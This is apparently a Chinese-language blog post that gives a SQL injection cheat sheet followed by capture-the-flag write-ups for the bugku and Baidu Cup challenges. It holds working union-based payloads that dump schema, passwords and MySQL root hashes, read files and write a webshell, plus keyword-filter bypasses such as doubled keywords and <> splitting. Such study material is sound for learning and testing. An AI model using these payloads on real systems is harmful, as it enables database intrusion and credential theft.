SQL回显注入

0x00 注入过程

三种注入

1
2
3
where user_id = 1 or 1=1
where user_id = '1' or '1'='1'
where user_id =" 1 "or "1"="1"

注释符

1
2
3
4
5
#          单行注释,常编码为%23

--空格 单行注释 注意为短线短线空格

/*()*/ 多行注释 至少存在俩处的注入 /**/常用来作为空格

判断字段数

1
order by

确定回显点

1
union select 1,2

查询数据库信息

1
version()    datadir

查询用户名,数据库名

1
2
3
4
5
user()   database()
1' union select 1,database()#

1' union select user(),database()#
Version()#

查询表名

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#

查询列名

1
2
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

文件读取

1
union select 1,load_file('C:\\wondows\\win.ini')#

写入 webshell

1
select..into  outfile...

猜用户数据

1
2
3
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #

猜 root 用户

1
1' union select 1,group_concat(user,password) from mysql.user#

0x01 bugku 这是一个神奇的登录框

1、打开题目链接,是一个登录界面,抓包后传数据进行尝试

2、先尝试admin_name=1&admin_passwd=1&submit=GO+GO+GO 得到Try Again!

3、尝试admin_name=1’&admin_passwd=1&submit=GO+GO+GO 仍然得到Try Again! ,说明 ’被过滤了

4、尝试admin_name=1”&admin_passwd=1&submit=GO+GO+GO

得到You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ‘1”‘ at line 1 说明应该用 “ 分隔,”符号没有被过滤。

5、尝试admin_name=1”%23&admin_passwd=1&submit=GO+GO+GO 发现
没有报错了,说明,需要注释掉一些多余的东西来得到正确结果

6、判断回显位置

admin_name=1” union select 1%23&admin_passwd=1&submit=GO+GO+GO

得到The used SELECT statements have a different number of
columns(因为union前后的列数不相同)

再改payload为

admin_name=1” union select 1,2%23&admin_passwd=1&submit=GO+GO+GO

发现回显位置在Login_name那里

7、爆数据库名

admin_name=1” union select database(),2%23&admin_passwd=1&submit=GO+GO+GO

得到bugkusql1

8、爆表名

admin_name=1” union select (select table_name from information_schema.tables
where table_schema=database() limit 0,1),2%23&admin_passwd=1&submit=GO+GO+GO

得到flag1

改limit 0,1为limt 1,1 得到whoami

9、爆字段

admin_name=1” union select (select column_name from information_schema.columns
where table_name=’flag1’),2%23&admin_passwd=1&submit=GO+GO+GO

得到flag1

10、flag

admin_name=1” union select (select flag1 from
flag1),2%23&admin_passwd=1&submit=GO+GO+GO

得到ed6b28e684817d9efcaf802979e57aea

备注

在admin_name或者admin_passwd 两处都可以进行爆破

最初尝试admin_name=1” union select
1,2%23&admin_passwd=1&submit=GO+GO+GO时没有看出来回显在1处,导致,再次尝试admin_name=1”
union select 1,database()%23&admin_passwd=1&submit=GO+GO+GO时发现没有回显

用错误注入updatexml也可以得到数据库名,表名,字段名,但是
爆flag时,因为flag太长,导致无法全部回显

0x02 bugku 多次

很明显 注入点在id上

duoci1.png

参数id只有5个,等于6的时候显示Error

duoci2.png

测试1 id=1’ or 1=1#

返回错误,猜测可能有字符被过滤

测试2 id=1’ oorr 1=1–+

返回正常结果,通过双写绕过

异或注入

id=1’^(length(‘被测试字符’)=0)–+

例如:id=1’^(length(‘select’)=0)–+ 发现返回错误

因为select被过滤,那么length(‘’)就等于0,(length(‘’)=0)此等式成立,返回值为1,再和1异或结果为0,所以页面返回错误

检测出select、and 、or被过滤

注意:information中有一个or

同样道理,测试出过滤字符 select,union,and,or

可以采用双写绕过。测试payload:

http://120.24.86.145:9004/1ndex.php?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,2%23

页面结果

2

database:

?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,database()%23

web1002-1

tables:

注意information里面有or,要双写过滤

?id=-1’ ununionion seselectlect 1, group_concat(table_name) from
infoorrmation_schema.tables where table_schema=database() #

页面结果

flag1,hint

columns:

?id=-1’ ununionion seselectlect 1, group_concat(column_name) from
infoorrmation_schema.columns where table_schema=database() anandd
table_name=’flag1’ %23

页面结果

flag1,address

dump:

?id=-1’ ununionion seselectlect 1, group_concat(flag1) from flag1 %23

页面结果

usOwycTju+FTUUzXosjr

?id=-1’ ununionion seselectlect 1, group_concat(address) from flag1 %23

0x04 百度杯sql

总结:用<>隔开敏感字符,绕过防注入

Order by 3与 union select 1,2,3都可以判断列数

输入and 1=1 发现被拦截 此外 测试了or 发现也进行了拦截

id=1 and 1=1

id=1 or 1=1

我们可以用下面的字符来替换 and 和 or

and—->&& , or—–> ||

id=1 && 1=1

替换后发现可以成功绕过

接下来进行猜字段长度 发现order by 被拦截

id=1 order by 1

用<>把字符隔开,这里需要注意不要这样隔开or<>der
,这样or又是一个被拦截的字符

然后利用二分法,才接触长度为3

id=1 o<>rder by 3

id=1 union se<>lect 1,2,3

在注入的时候select会被拦截,同样我们用<>把字符分开即可

界面出现2,我们就在2的位置进行注入

1
2
3
4
5
6
7
8

id=1 union se<>lect 1,database(),3

id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli'

id=1 union se<>lect 1,column_name,3 from information_schema.columns where table_schema='sqli' an<>d table_name='info'

id=1 union se<>lect 1,flag,3 from info
-------------本文结束感谢您的阅读-------------
/*
*/